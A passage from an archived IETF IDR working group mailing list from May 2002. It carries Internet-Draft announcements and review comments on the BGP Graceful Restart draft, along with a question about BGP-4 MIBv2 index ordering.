list, send a message to ietf-announce-request with the word unsubscribe in the body of the message. Internet-Drafts are also available by anonymous FTP. Login with the username "anonymous" and a password of your e-mail address. After logging in, type "cd internet-drafts" and then "get draft-ietf-idr-as4bytes-05.txt". A list of Internet-Drafts directories can be found in http://www.ietf.org/shadow.html or ftp://ftp.ietf.org/ietf/1shadow-sites.txt Internet-Drafts can also be obtained by e-mail. Send a message to: mailserv@ietf.org. In the body type: "FILE /internet-drafts/draft-ietf-idr-as4bytes-05.txt". NOTE: The mail server at ietf.org can return the document in MIME-encoded form by using the "mpack" utility. To use this feature, insert the command "ENCODING mime" before the "FILE" command. To decode the response(s), you will need "munpack" or a MIME-compliant mail reader. Different MIME-compliant mail readers exhibit different behavior, especially when dealing with "multipart" MIME messages (i.e. documents which have been split up into multiple messages), so check your local documentation on how to manipulate these messages. Below is the data which will enable a MIME compliant mail reader implementation to automatically retrieve the ASCII version of the Internet-Draft. - --NextPart Content-Type: Multipart/Alternative; Boundary="OtherAccess" - --OtherAccess Content-Type: Message/External-body; access-type="mail-server"; server="mailserv@ietf.org" Content-Type: text/plain Content-ID: <20020502131636.I-D@ietf.org> ENCODING mime FILE /internet-drafts/draft-ietf-idr-as4bytes-05.txt - --OtherAccess Content-Type: Message/External-body; name="draft-ietf-idr-as4bytes-05.txt"; site="ftp.ietf.org"; access-type="anon-ftp"; directory="internet-drafts" Content-Type: text/plain Content-ID: <20020502131636.I-D@ietf.org> - --OtherAccess-- - --NextPart-- ------- End of Forwarded Message Received: from trapdoor.merit.edu (postfix@trapdoor.merit.edu [198.108.1.26]) by nic.merit.edu (8.9.3/8.9.1) with ESMTP id HAA10901 for ; Fri, 3 May 2002 07:29:47 -0400 (EDT) Received: by trapdoor.merit.edu (Postfix) id 4972A912F0; Fri, 3 May 2002 07:28:51 -0400 (EDT) Delivered-To: idr-outgoing@trapdoor.merit.edu Received: by trapdoor.merit.edu (Postfix, from userid 56) id 1F0BC912F1; Fri, 3 May 2002 07:28:51 -0400 (EDT) Delivered-To: idr@trapdoor.merit.edu Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by trapdoor.merit.edu (Postfix) with ESMTP id E6D3E912F0 for ; Fri, 3 May 2002 07:28:47 -0400 (EDT) Received: by segue.merit.edu (Postfix) id B337F5DE1F; Fri, 3 May 2002 07:28:47 -0400 (EDT) Delivered-To: idr@merit.edu Received: from ietf.org (odin.ietf.org [132.151.1.176]) by segue.merit.edu (Postfix) with ESMTP id 3200C5DDAD for ; Fri, 3 May 2002 07:28:47 -0400 (EDT) Received: from CNRI.Reston.VA.US (localhost [127.0.0.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA09700; Fri, 3 May 2002 07:28:43 -0400 (EDT) Message-Id: <200205031128.HAA09700@ietf.org> Mime-Version: 1.0 Content-Type: Multipart/Mixed; Boundary="NextPart" To: IETF-Announce: ; Cc: idr@merit.edu From: Internet-Drafts@ietf.org Reply-To: Internet-Drafts@ietf.org Subject: I-D ACTION:draft-ietf-idr-route-filter-06.txt Date: Fri, 03 May 2002 07:28:42 -0400 Sender: owner-idr@merit.edu Precedence: bulk --NextPart A New Internet-Draft is available from the on-line Internet-Drafts directories. This draft is a work item of the Inter-Domain Routing Working Group of the IETF. Title : Cooperative Route Filtering Capability for BGP-4 Author(s) : E. Chen, Y. Rekhter Filename : draft-ietf-idr-route-filter-06.txt Pages : 11 Date : 02-May-02 This document defines a BGP-based mechanism that allows a BGP speaker to send to its BGP peer a set of route filters that the peer would use to constrain/filter its outbound routing updates to the speaker. A URL for this Internet-Draft is: http://www.ietf.org/internet-drafts/draft-ietf-idr-route-filter-06.txt To remove yourself from the IETF Announcement list, send a message to ietf-announce-request with the word unsubscribe in the body of the message. Internet-Drafts are also available by anonymous FTP. Login with the username "anonymous" and a password of your e-mail address. After logging in, type "cd internet-drafts" and then "get draft-ietf-idr-route-filter-06.txt". A list of Internet-Drafts directories can be found in http://www.ietf.org/shadow.html or ftp://ftp.ietf.org/ietf/1shadow-sites.txt Internet-Drafts can also be obtained by e-mail. Send a message to: mailserv@ietf.org. In the body type: "FILE /internet-drafts/draft-ietf-idr-route-filter-06.txt". NOTE: The mail server at ietf.org can return the document in MIME-encoded form by using the "mpack" utility. To use this feature, insert the command "ENCODING mime" before the "FILE" command. To decode the response(s), you will need "munpack" or a MIME-compliant mail reader. Different MIME-compliant mail readers exhibit different behavior, especially when dealing with "multipart" MIME messages (i.e. documents which have been split up into multiple messages), so check your local documentation on how to manipulate these messages. Below is the data which will enable a MIME compliant mail reader implementation to automatically retrieve the ASCII version of the Internet-Draft. --NextPart Content-Type: Multipart/Alternative; Boundary="OtherAccess" --OtherAccess Content-Type: Message/External-body; access-type="mail-server"; server="mailserv@ietf.org" Content-Type: text/plain Content-ID: <20020502143754.I-D@ietf.org> ENCODING mime FILE /internet-drafts/draft-ietf-idr-route-filter-06.txt --OtherAccess Content-Type: Message/External-body; name="draft-ietf-idr-route-filter-06.txt"; site="ftp.ietf.org"; access-type="anon-ftp"; directory="internet-drafts" Content-Type: text/plain Content-ID: <20020502143754.I-D@ietf.org> --OtherAccess-- --NextPart-- Received: from trapdoor.merit.edu (trapdoor.merit.edu [198.108.1.26]) by nic.merit.edu (8.9.3/8.9.1) with ESMTP id HAA10889 for ; Fri, 3 May 2002 07:29:35 -0400 (EDT) Received: by trapdoor.merit.edu (Postfix) id 96EDB912E2; Fri, 3 May 2002 07:28:43 -0400 (EDT) Delivered-To: idr-outgoing@trapdoor.merit.edu Received: by trapdoor.merit.edu (Postfix, from userid 56) id 6272C912F0; Fri, 3 May 2002 07:28:43 -0400 (EDT) Delivered-To: idr@trapdoor.merit.edu Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by trapdoor.merit.edu (Postfix) with ESMTP id 3E2B1912E2 for ; Fri, 3 May 2002 07:28:42 -0400 (EDT) Received: by segue.merit.edu (Postfix) id F300C5DE1F; Fri, 3 May 2002 07:28:41 -0400 (EDT) Delivered-To: idr@merit.edu Received: from ietf.org (odin.ietf.org [132.151.1.176]) by segue.merit.edu (Postfix) with ESMTP id 814665DDAD for ; Fri, 3 May 2002 07:28:41 -0400 (EDT) Received: from CNRI.Reston.VA.US (localhost [127.0.0.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA09667; Fri, 3 May 2002 07:28:34 -0400 (EDT) Message-Id: <200205031128.HAA09667@ietf.org> Mime-Version: 1.0 Content-Type: Multipart/Mixed; Boundary="NextPart" To: IETF-Announce: ; Cc: idr@merit.edu From: Internet-Drafts@ietf.org Reply-To: Internet-Drafts@ietf.org Subject: I-D ACTION:draft-ietf-idr-as4bytes-05.txt Date: Fri, 03 May 2002 07:28:33 -0400 Sender: owner-idr@merit.edu Precedence: bulk --NextPart A New Internet-Draft is available from the on-line Internet-Drafts directories. This draft is a work item of the Inter-Domain Routing Working Group of the IETF. Title : BGP support for four-octet AS number space Author(s) : Q. Vohra, E. Chen Filename : draft-ietf-idr-as4bytes-05.txt Pages : 7 Date : 02-May-02 Currently the Autonomous System number is encoded in BGP [BGP] as a two-octets field. This document describes extensions to BGP to carry the Autonomous System number as a four-octets field. A URL for this Internet-Draft is: http://www.ietf.org/internet-drafts/draft-ietf-idr-as4bytes-05.txt To remove yourself from the IETF Announcement list, send a message to ietf-announce-request with the word unsubscribe in the body of the message. Internet-Drafts are also available by anonymous FTP. Login with the username "anonymous" and a password of your e-mail address. After logging in, type "cd internet-drafts" and then "get draft-ietf-idr-as4bytes-05.txt". A list of Internet-Drafts directories can be found in http://www.ietf.org/shadow.html or ftp://ftp.ietf.org/ietf/1shadow-sites.txt Internet-Drafts can also be obtained by e-mail. Send a message to: mailserv@ietf.org. In the body type: "FILE /internet-drafts/draft-ietf-idr-as4bytes-05.txt". NOTE: The mail server at ietf.org can return the document in MIME-encoded form by using the "mpack" utility. To use this feature, insert the command "ENCODING mime" before the "FILE" command. To decode the response(s), you will need "munpack" or a MIME-compliant mail reader. Different MIME-compliant mail readers exhibit different behavior, especially when dealing with "multipart" MIME messages (i.e. documents which have been split up into multiple messages), so check your local documentation on how to manipulate these messages. Below is the data which will enable a MIME compliant mail reader implementation to automatically retrieve the ASCII version of the Internet-Draft. --NextPart Content-Type: Multipart/Alternative; Boundary="OtherAccess" --OtherAccess Content-Type: Message/External-body; access-type="mail-server"; server="mailserv@ietf.org" Content-Type: text/plain Content-ID: <20020502131636.I-D@ietf.org> ENCODING mime FILE /internet-drafts/draft-ietf-idr-as4bytes-05.txt --OtherAccess Content-Type: Message/External-body; name="draft-ietf-idr-as4bytes-05.txt"; site="ftp.ietf.org"; access-type="anon-ftp"; directory="internet-drafts" Content-Type: text/plain Content-ID: <20020502131636.I-D@ietf.org> --OtherAccess-- --NextPart-- Received: from trapdoor.merit.edu (postfix@trapdoor.merit.edu [198.108.1.26]) by nic.merit.edu (8.9.3/8.9.1) with ESMTP id XAA29015 for ; Thu, 2 May 2002 23:20:06 -0400 (EDT) Received: by trapdoor.merit.edu (Postfix) id DB58F912E1; Thu, 2 May 2002 23:19:43 -0400 (EDT) Delivered-To: idr-outgoing@trapdoor.merit.edu Received: by trapdoor.merit.edu (Postfix, from userid 56) id A6E4F912E2; Thu, 2 May 2002 23:19:43 -0400 (EDT) Delivered-To: idr@trapdoor.merit.edu Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by trapdoor.merit.edu (Postfix) with ESMTP id 83310912E1 for ; Thu, 2 May 2002 23:19:41 -0400 (EDT) Received: by segue.merit.edu (Postfix) id 47FBD5DE06; Thu, 2 May 2002 23:19:41 -0400 (EDT) Delivered-To: idr@merit.edu Received: from psg.com (psg.com [147.28.0.62]) by segue.merit.edu (Postfix) with ESMTP id B5C0C5DDBB for ; Thu, 2 May 2002 23:19:40 -0400 (EDT) Received: from 12-234-73-224.client.attbi.com ([12.234.73.224]) by psg.com with esmtp (Exim 3.36 #1) id 173Tbf-000H33-00 for idr@merit.edu; Thu, 02 May 2002 20:19:39 -0700 Date: Thu, 2 May 2002 20:18:52 -0700 From: Alex Zinin X-Mailer: The Bat! (v1.51) Personal Reply-To: Alex Zinin X-Priority: 3 (Normal) Message-ID: <123123379741.20020502201852@psg.com> To: idr@merit.edu Subject: Re: Last call on Graceful Restart MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-idr@merit.edu Precedence: bulk Please find some comments on the restart draft below. Regards. -- Alex Meta-comments: - Can the restart capability be dynamically updated? - How does this doc address the situation where the admin wants the graceful restart to happen for planned restarts (during SW upgrades, etc.) but not for unplanned ones? > Graceful Restart Mechanism for BGP > > draft-ietf-idr-restart-03.txt ... > 4. Marker for End-of-RIB > > An UPDATE message with empty withdrawn NLRI is specified as the End- > Of-RIB Marker that can be used by a BGP speaker to indicate to its > peer the completion of the initial routing update after the session > is established. For IPv4 unicast address family, the End-Of-RIB > Marker is an UPDATE message with the minimum length [BGP-4]. I guess this implicitly means that no reachable NLRIs and attributes should be in it. Why not say this explicitly? > For any > other address family, it is an UPDATE message that contains only > MP_UNREACH_NLRI [BGP-MP] with no withdrawn routes for that AFI>. Does it mean we need to send a separate message per AFI/SAFI? > 5. Graceful Restart Capability > > The Graceful Restart Capability is a new BGP capability [BGP-CAP] > that can be used by a BGP speaker to indicate its ability to preserve > its forwarding state during BGP restart. It can also be used to > convey to its peer its intention of generating the End-Of-RIB marker > upon the completion of its initial routing updates. > > This capability is defined as follows: > > Capability code: 64 > > Capability length: variable > > Capability value: Consists of the "Restart Flags" field, > "Restart Time" field, and zero or more of the tuples Sub-AFI, Flags for address family> as follows. > > > +--------------------------------------------------+ > | Restart Flags (4 bits) | > +--------------------------------------------------+ > | Restart Time in seconds (12 bits) | > +--------------------------------------------------+ I think that given the bit level break-up you should show the header in the normal IETF format. > | Address Family Identifier (16 bits) | > +--------------------------------------------------+ > | Subsequent Address Family Identifier (8 bits) | > +--------------------------------------------------+ > | Flags for Address Family (8 bits) | > +--------------------------------------------------+ > | ... | > +--------------------------------------------------+ > | Address Family Identifier (16 bits) | > +--------------------------------------------------+ > | Subsequent Address Family Identifier (8 bits) | > +--------------------------------------------------+ > | Flags for Address Family (8 bits) | > +--------------------------------------------------+ > > > The use and meaning of the fields are as follows: > > Restart Flags: > > This field contains bit flags related to restart. > > The most significant bit is defined as the Restart State bit > which can be used to avoid possible deadlock caused by waiting > > > > draft-ietf-idr-restart-03.txt [Page 3] > > > > > > Internet Draft draft-ietf-idr-restart-03.txt April 2002 > > > for the End-of-RIB marker when multiple BGP speakers peering > with each other restart. When set (value 1), this bit indicates > that the BGP speaker has restarted, and its peer should not wait > for the End-of-RIB marker from the speaker before advertising > routing information to the speaker. > > The remaining bits are reserved. ...and this text should correspond to the illustration of the header above should the reserved bits be set to 0? > > Restart Time: > > This is the estimated time (in seconds) it will take for the BGP > session to be re-established after a restart. This can be used to > speed up routing convergence by its peer in case that the BGP > speaker does not come back after a restart. > > Address Family Identifier (AFI): > > This field carries the identity of the Network Layer protocol > for which the Graceful Restart support is advertised. Presently > defined values for this field are specified in RFC1700 (see > the Address Family Numbers section). > > Subsequent Address Family Identifier (Sub-AFI): > > This field provides additional information about the type of > the Network Layer Reachability Information carried in the > attribute. > > Flags for Address Family: > > This field contains bit flags for the . > > The most significant bit is defined as the Forwarding State > bit which can be used to indicate if the forwarding state for > the has indeed been preserved during the previous > BGP restart. When set (value 1), the bit indicates that the > forwarding state has been preserved. > > The remaining bits are reserved. Let's have a format illustration for this field as well. It will help when/if new bits are introduced. same comment about "reserved" > The advertisement of this capability by a BGP speaker also implies > that it will generate the End-of-RIB marker (for all address families > exchanged) upon completion of its initial routing update to its peer. > The value of the "Restart Time" field is irrelevant in the case that > the capability does not carry any . Do we need some more info here? I.e., what does it really mean when I receive this capability with no AFI/SAFI in it? > 6. Operation > > A BGP speaker may advertise the Graceful Restart Capability for an > address family to its peer only if it has the ability to preserve its > forwarding state for the address family when BGP restarts. > > Even if the speaker does not have the ability to preserve its > forwarding state for any address family during BGP restart, it is > still recommended that the speaker advertise the Graceful Restart > Capability to its peer to indicate its intention of generating the > End-of-RIB marker upon the completion of its initial routing updates. Ah, I think this is the answer to my prev. question. The text above should have some info nonetheless, IMO. > The End-of-RIB marker should be sent by a BGP speaker to its peer > once it completes the initial routing update (including the case when > there is no update to send) for an address family after the BGP > session is established. > > It is noted that the normal BGP procedures MUST be followed when the > TCP session terminates due to the sending or receiving of a BGP > NOTIFICATION message. > > In general the Restart Time SHOULD NOT be greater than the HOLDTIME > carried in the OPEN. > > In the following sections, "Restarting Speaker" refers to a router > whose BGP has restarted, and "Receiving Speaker" refers to a router > that peers with the restarting speaker. > > Consider that the Graceful Restart Capability for an address family > is advertised by the Restarting Speaker, and is understood by the > Receiving Speaker, and a BGP session between them is established. > The following sections detail the procedures that shall be followed > by the Restarting Speaker as well as the Receiving Speaker once the > Restarting Speaker restarts. > ... > > > 6.2. Procedures for the Receiving Speaker > > When the Restarting Speaker restarts, the Receiving Speaker may or > may not detect the termination of the TCP session with the Restarting > Speaker, depending on the underlying TCP implementation, whether or > not [BGP-AUTH] is in use, and the specific circumstances of the > restart. In case it does not detect the TCP reset and still > considers the BGP session as being established, it shall treat the > subsequent open connection from the peer as an indication of TCP > reset and act accordingly (when the Graceful Restart Capabilty has > been received from the peer). How does this work together with the connection collision mechanism? > When the Receiving Speaker detects TCP reset for a BGP session with a > peer that has advertised the Graceful Restart Capability, it shall > retain the routes received from the peer for all the address families > that were previously received in the Graceful Restart Capability, and > shall mark them as stale routing information. To deal with possible > consecutive restarts, a route (from the peer) previously marked as > stale shall be deleted. The router should not differentiate between > stale and other routing information during forwarding. > > In re-establishing the session, the "Restart State" bit in the > Graceful Restart Capability of the OPEN message sent by the Receiving > Speaker shall not be set unless the Receiving Speaker has restarted. > The presence and the setting of the "Forwarding State" bit for an > address family depends upon the actual forwarding state and > configuration. > > If the session does not get re-established within the "Restart Time" > that the peer advertised previously, the Receiving Speaker shall > delete all the stale routes from the peer that it is retaining. > > Once the session is re-established, if the "Forwarding State" bit for > an address family is not set in the received Graceful Restart > Capability, or if the capability is not received for an address > family, the Receiving Speaker shall immediately remove all the stale > routes from the peer that it is retaining for that address family. Does the phrase "is not received" mean "not confirmed by the new capability announcement"? > The Receiving Speaker shall send the End-of-RIB marker once it > completes the initial update for an address family (including the > case that it has no routes to send) to the peer. > > The Receiving Speaker shall replace the stale routes by the routing > updates received from the peer. Once the End-of-RIB marker for an > address family is received from the peer, it shall immediately remove > any routes from the peer that are still marked as stale for that > address family. I don't think the procedure for "unmarking" routes as stale has been described here. > To put an upper bound on the amount of time a router retains the > stale routes, an implementation may support a (configurable) timer > that imposes this upper bound. Received: from trapdoor.merit.edu (postfix@trapdoor.merit.edu [198.108.1.26]) by nic.merit.edu (8.9.3/8.9.1) with ESMTP id TAA23124 for ; Thu, 2 May 2002 19:19:15 -0400 (EDT) Received: by trapdoor.merit.edu (Postfix) id 64E89912D6; Thu, 2 May 2002 19:18:40 -0400 (EDT) Delivered-To: idr-outgoing@trapdoor.merit.edu Received: by trapdoor.merit.edu (Postfix, from userid 56) id 0560A912D7; Thu, 2 May 2002 19:18:39 -0400 (EDT) Delivered-To: idr@trapdoor.merit.edu Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by trapdoor.merit.edu (Postfix) with ESMTP id C4B6F912D6 for ; Thu, 2 May 2002 19:18:02 -0400 (EDT) Received: by segue.merit.edu (Postfix) id 7F07D5DDDE; Thu, 2 May 2002 19:18:02 -0400 (EDT) Delivered-To: idr@merit.edu Received: from presque.djinesys.com (dns.nexthop.com [64.211.218.216]) by segue.merit.edu (Postfix) with ESMTP id F0E195DDD4 for ; Thu, 2 May 2002 19:18:01 -0400 (EDT) Received: (from root@localhost) by presque.djinesys.com (8.11.3/8.11.1) id g42NHvN62529; Thu, 2 May 2002 19:17:57 -0400 (EDT) (envelope-from skh@nexthop.com) Received: from SKH.nexthop.com ([64.211.218.122]) by presque.djinesys.com (8.11.3/8.11.1) with ESMTP id g42NHoO62521; Thu, 2 May 2002 19:17:54 -0400 (EDT) (envelope-from skh@nexthop.com) Message-Id: <5.0.0.25.0.20020502191734.05fadda0@mail.nexthop.com> X-Sender: skh@mail.nexthop.com X-Mailer: QUALCOMM Windows Eudora Version 5.0 Date: Thu, 02 May 2002 19:17:50 -0400 To: "Ken Benstead" From: Susan Hares Subject: Re: BGP-4 MIBv2 NLRI Table Cc: In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed X-Virus-Scanned: by AMaViS perl-11 Sender: owner-idr@merit.edu Precedence: bulk Ken: Why do you expect the Prefix before the prefix length? sue At 01:29 PM 4/22/2002 -0400, Ken Benstead wrote: >Hi Folks, >I noticed that the NLRI Table in the BGP4 MIBv2 (draft 2) has the >following index clause: > > INDEX { > bgpM2PeerIndex, > bgpM2NlriAfi, > bgpM2NlriSafi, > bgpM2NlriPrefixLen, > bgpM2NlriPrefix, > bgpM2NlriIndex > } > >Is there a reason that the bgpM2NlriPrefixLen and bgpM2NlriPrefix >objects are the opposite order to what one might normally expect? >For example, in the BGP-4 Received Path Attribute Table of >RFC1657 the index clause is: > > > INDEX { > bgp4PathAttrIpAddrPrefix, > bgp4PathAttrIpAddrPrefixLen, > bgp4PathAttrPeer > } > >Thanks, >Ken Benstead Received: from trapdoor.merit.edu (postfix@trapdoor.merit.edu [198.108.1.26]) by nic.merit.edu (8.9.3/8.9.1) with ESMTP id OAA10925 for ; Wed, 1 May 2002 14:57:05 -0400 (EDT) Received: by trapdoor.merit.edu (Postfix) id CAA049125B; Wed, 1 May 2002 14:56:35 -0400 (EDT) Delivered-To: idr-outgoing@trapdoor.merit.edu Received: by trapdoor.merit.edu (Postfix, from userid 56) id 97E1E9125C; Wed, 1 May 2002 14:56:35 -0400 (EDT) Delivered-To: idr@trapdoor.merit.edu Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by trapdoor.merit.edu (Postfix) with ESMTP id 8E4B59125B for ; Wed, 1 May 2002 14:56:34 -0400 (EDT) Received: by segue.merit.edu (Postfix) id 4FEB05DEAA; Wed, 1 May 2002 14:56:34 -0400 (EDT) Delivered-To: idr@merit.edu Received: from prattle.redback.com (prattle.redback.com [155.53.12.9]) by segue.merit.edu (Postfix) with ESMTP id D32695DDDD for ; Wed, 1 May 2002 14:56:33 -0400 (EDT) Received: from popserv3.redback.com (popserv3.redback.com [155.53.12.64]) by prattle.redback.com (Postfix) with ESMTP id BCD8C1DCC7A; Wed, 1 May 2002 11:56:33 -0700 (PDT) Received: from redback.com (fall.redback.com [155.53.36.220]) by popserv3.redback.com (Postfix) with ESMTP id 62B597E6C1; Wed, 1 May 2002 11:56:32 -0700 (PDT) To: Bill Fenner Cc: idr@merit.edu, enke@redback.com Subject: Re: Last call on Graceful Restart In-Reply-To: Message from Bill Fenner of "Wed, 01 May 2002 10:21:35 PDT." <200205011721.KAA03963@windsor.research.att.com> Date: Wed, 01 May 2002 11:56:32 -0700 From: Enke Chen Message-Id: <20020501185633.62B597E6C1@popserv3.redback.com> Sender: owner-idr@merit.edu Precedence: bulk Hi, Bill: Thanks for your comments. We will take care of them and submit a version. -- Enke > From: Bill Fenner > Received: (from fenner@localhost) > by windsor.research.att.com (8.8.8+Sun/8.8.5) id KAA03963; > Wed, 1 May 2002 10:21:36 -0700 (PDT) > Message-Id: <200205011721.KAA03963@windsor.research.att.com> > MIME-Version: 1.0 > Content-Type: text/plain; charset=US-ASCII > To: idr@merit.edu > Subject: Re: Last call on Graceful Restart > Date: Wed, 1 May 2002 10:21:35 -0700 > Versions: dmail (solaris) 2.4/makemail 2.9b > Sender: owner-idr@merit.edu > Precedence: bulk > > > A couple of comments on the Graceful Restart draft. > > The biggest problem is that the first two paragraphs of section 6 > are contradictory: The first says that you may only advertise > graceful restart if you can preserve forwarding state; the second > says to advertise it anyway. I think changing the first sentence > to start "A BGP speaker should advertise..." and removing the word > "only" gets rid of the contradiction. > > RFC2842bis says that the document defining a capability needs to say > what happens if multiple instances of the capability are advertised > with different values; persumably this can happen in section 5. > > The document uses the RFC2119 key words without defining them; however it > uses them a total of twice, at the beginning of section 6; the document > has other places where it may want to use these requirements > terms in order to make the meaning clear. I see two options: > - Reference 2119 and sweep through the document converting the pieces > that are required for the protocol to 2119-ese. > - Change the MUST and SHOULD NOT in section 6 to lowercase, to avoid > confusion > > Section 5's reference for AFI shouldn't be to the obsolete rfc 1700 > (see RFC 3232); in this case the reference should be to > http://www.iana.org/assignments/address-family-numbers . It should > also have a reference to http://www.iana.org/assignments/safi-namespace > for the SAFI numbers. > > The references to 2283 and 2842 could be updated to 2858 and 2842bis. > (It's OK to reference 2842bis because it's already approved by the > IESG and so will have an RFC number already by the time this gets > published). > > Bill Received: from trapdoor.merit.edu (postfix@trapdoor.merit.edu [198.108.1.26]) by nic.merit.edu (8.9.3/8.9.1) with ESMTP id OAA10782 for ; Wed, 1 May 2002 14:51:19 -0400 (EDT) Received: by trapdoor.merit.edu (Postfix) id A053091214; Wed, 1 May 2002 14:50:50 -0400 (EDT) Delivered-To: idr-outgoing@trapdoor.merit.edu Received: by trapdoor.merit.edu (Postfix, from userid 56) id 6C4B29125A; Wed, 1 May 2002 14:50:50 -0400 (EDT) Delivered-To: idr@trapdoor.merit.edu Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by trapdoor.merit.edu (Postfix) with ESMTP id 4BAA591214 for ; Wed, 1 May 2002 14:50:49 -0400 (EDT) Received: by segue.merit.edu (Postfix) id 0F9195DE01; Wed, 1 May 2002 14:50:49 -0400 (EDT) Delivered-To: idr@merit.edu Received: from presque.djinesys.com (dns.nexthop.com [64.211.218.216]) by segue.merit.edu (Postfix) with ESMTP id 8038C5DDDD for ; Wed, 1 May 2002 14:50:48 -0400 (EDT) Received: (from root@localhost) by presque.djinesys.com (8.11.3/8.11.1) id g41Ioks00582; Wed, 1 May 2002 14:50:46 -0400 (EDT) (envelope-from swright@nexthop.com) Received: from nexthop.com (triscuit.nexthop.com [64.211.218.61]) by presque.djinesys.com (8.11.3/8.11.1) with ESMTP id g41IoeO00565; Wed, 1 May 2002 14:50:40 -0400 (EDT) (envelope-from swright@nexthop.com) Received: (from swright@localhost) by nexthop.com (8.11.0/8.11.0) id g41IoeL18337; Wed, 1 May 2002 14:50:40 -0400 (EDT) Date: Wed, 1 May 2002 14:50:40 -0400 From: Shane Wright To: Bill Fenner Cc: idr@merit.edu Subject: Re: Last call on Graceful Restart Message-ID: <20020501145040.K8390@nexthop.com> References: <200205011721.KAA03963@windsor.research.att.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <200205011721.KAA03963@windsor.research.att.com>; from fenner@research.att.com on Wed, May 01, 2002 at 10:21:35AM -0700 X-Virus-Scanned: by AMaViS perl-11 Sender: owner-idr@merit.edu Precedence: bulk On Wed, May 01, 2002 at 10:21:35AM -0700, Bill Fenner wrote: > > A couple of comments on the Graceful Restart draft. > > The biggest problem is that the first two paragraphs of section 6 > are contradictory: The first says that you may only advertise > graceful restart if you can preserve forwarding state; the second > says to advertise it anyway. I think changing the first sentence > to start "A BGP speaker should advertise..." and removing the word > "only" gets rid of the contradiction. Hi Bill, What the document is trying to say in the second paragraph is that the graceful restart capability can be sent with no address families in the case where you want to only send End-of-RIB messages. Advertising the capability with an address family implies that you are able to gracefully restart for that family. - Shane Wright Received: from trapdoor.merit.edu (postfix@trapdoor.merit.edu [198.108.1.26]) by nic.merit.edu (8.9.3/8.9.1) with ESMTP id NAA08513 for ; Wed, 1 May 2002 13:22:03 -0400 (EDT) Received: by trapdoor.merit.edu (Postfix) id 5658591258; Wed, 1 May 2002 13:21:42 -0400 (EDT) Delivered-To: idr-outgoing@trapdoor.merit.edu Received: by trapdoor.merit.edu (Postfix, from userid 56) id 2A35691259; Wed, 1 May 2002 13:21:42 -0400 (EDT) Delivered-To: idr@trapdoor.merit.edu Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by trapdoor.merit.edu (Postfix) with ESMTP id E181191258 for ; Wed, 1 May 2002 13:21:40 -0400 (EDT) Received: by segue.merit.edu (Postfix) id A2AD55DEA9; Wed, 1 May 2002 13:21:40 -0400 (EDT) Delivered-To: idr@merit.edu Received: from mail-blue.research.att.com (mail-blue.research.att.com [135.207.30.102]) by segue.merit.edu (Postfix) with ESMTP id 7EF1D5DDDA for ; Wed, 1 May 2002 13:21:40 -0400 (EDT) Received: from alliance.research.att.com (alliance.research.att.com [135.207.26.26]) by mail-blue.research.att.com (Postfix) with ESMTP id 200CA4CF27 for ; Wed, 1 May 2002 13:21:36 -0400 (EDT) Received: from windsor.research.att.com (windsor.research.att.com [135.207.26.46]) by alliance.research.att.com (8.8.7/8.8.7) with ESMTP id NAA12607 for ; Wed, 1 May 2002 13:21:35 -0400 (EDT) From: Bill Fenner Received: (from fenner@localhost) by windsor.research.att.com (8.8.8+Sun/8.8.5) id KAA03963; Wed, 1 May 2002 10:21:36 -0700 (PDT) Message-Id: <200205011721.KAA03963@windsor.research.att.com> MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII To: idr@merit.edu Subject: Re: Last call on Graceful Restart Date: Wed, 1 May 2002 10:21:35 -0700 Versions: dmail (solaris) 2.4/makemail 2.9b Sender: owner-idr@merit.edu Precedence: bulk A couple of comments on the Graceful Restart draft. The biggest problem is that the first two paragraphs of section 6 are contradictory: The first says that you may only advertise graceful restart if you can preserve forwarding state; the second says to advertise it anyway. I think changing the first sentence to start "A BGP speaker should advertise..." and removing the word "only" gets rid of the contradiction. RFC2842bis says that the document defining a capability needs to say what happens if multiple instances of the capability are advertised with different values; persumably this can happen in section 5. The document uses the RFC2119 key words without defining them; however it uses them a total of twice, at the beginning of section 6; the document has other places where it may want to use these requirements terms in order to make the meaning clear. I see two options: - Reference 2119 and sweep through the document converting the pieces that are required for the protocol to 2119-ese. - Change the MUST and SHOULD NOT in section 6 to lowercase, to avoid confusion Section 5's reference for AFI shouldn't be to the obsolete rfc 1700 (see RFC 3232); in this case the reference should be to http://www.iana.org/assignments/address-family-numbers . It should also have a reference to http://www.iana.org/assignments/safi-namespace for the SAFI numbers. The references to 2283 and 2842 could be updated to 2858 and 2842bis. (It's OK to reference 2842bis because it's already approved by the IESG and so will have an RFC number already by the time this gets published). Bill Received: from trapdoor.merit.edu (postfix@trapdoor.merit.edu [198.108.1.26]) by nic.merit.edu (8.9.3/8.9.1) with ESMTP id HAA29225 for ; Wed, 1 May 2002 07:26:41 -0400 (EDT) Received: by trapdoor.merit.edu (Postfix) id 0588D9120A; Wed, 1 May 2002 07:26:12 -0400 (EDT) Delivered-To: idr-outgoing@trapdoor.merit.edu Received: by trapdoor.merit.edu (Postfix, from userid 56) id BF79E9120F; Wed, 1 May 2002 07:26:11 -0400 (EDT) Delivered-To: idr@trapdoor.merit.edu Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by trapdoor.merit.edu (Postfix) with ESMTP id 7A4D09120A for ; Wed, 1 May 2002 07:26:10 -0400 (EDT) Received: by segue.merit.edu (Postfix) id 46B895DE1E; Wed, 1 May 2002 07:26:10 -0400 (EDT) Delivered-To: idr@merit.edu Received: from ietf.org (odin.ietf.org [132.151.1.176]) by segue.merit.edu (Postfix) with ESMTP id C8F0E5DDAC for ; Wed, 1 May 2002 07:26:09 -0400 (EDT) Received: from CNRI.Reston.VA.US (localhost [127.0.0.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA20235; Wed, 1 May 2002 07:26:06 -0400 (EDT) Message-Id: <200205011126.HAA20235@ietf.org> 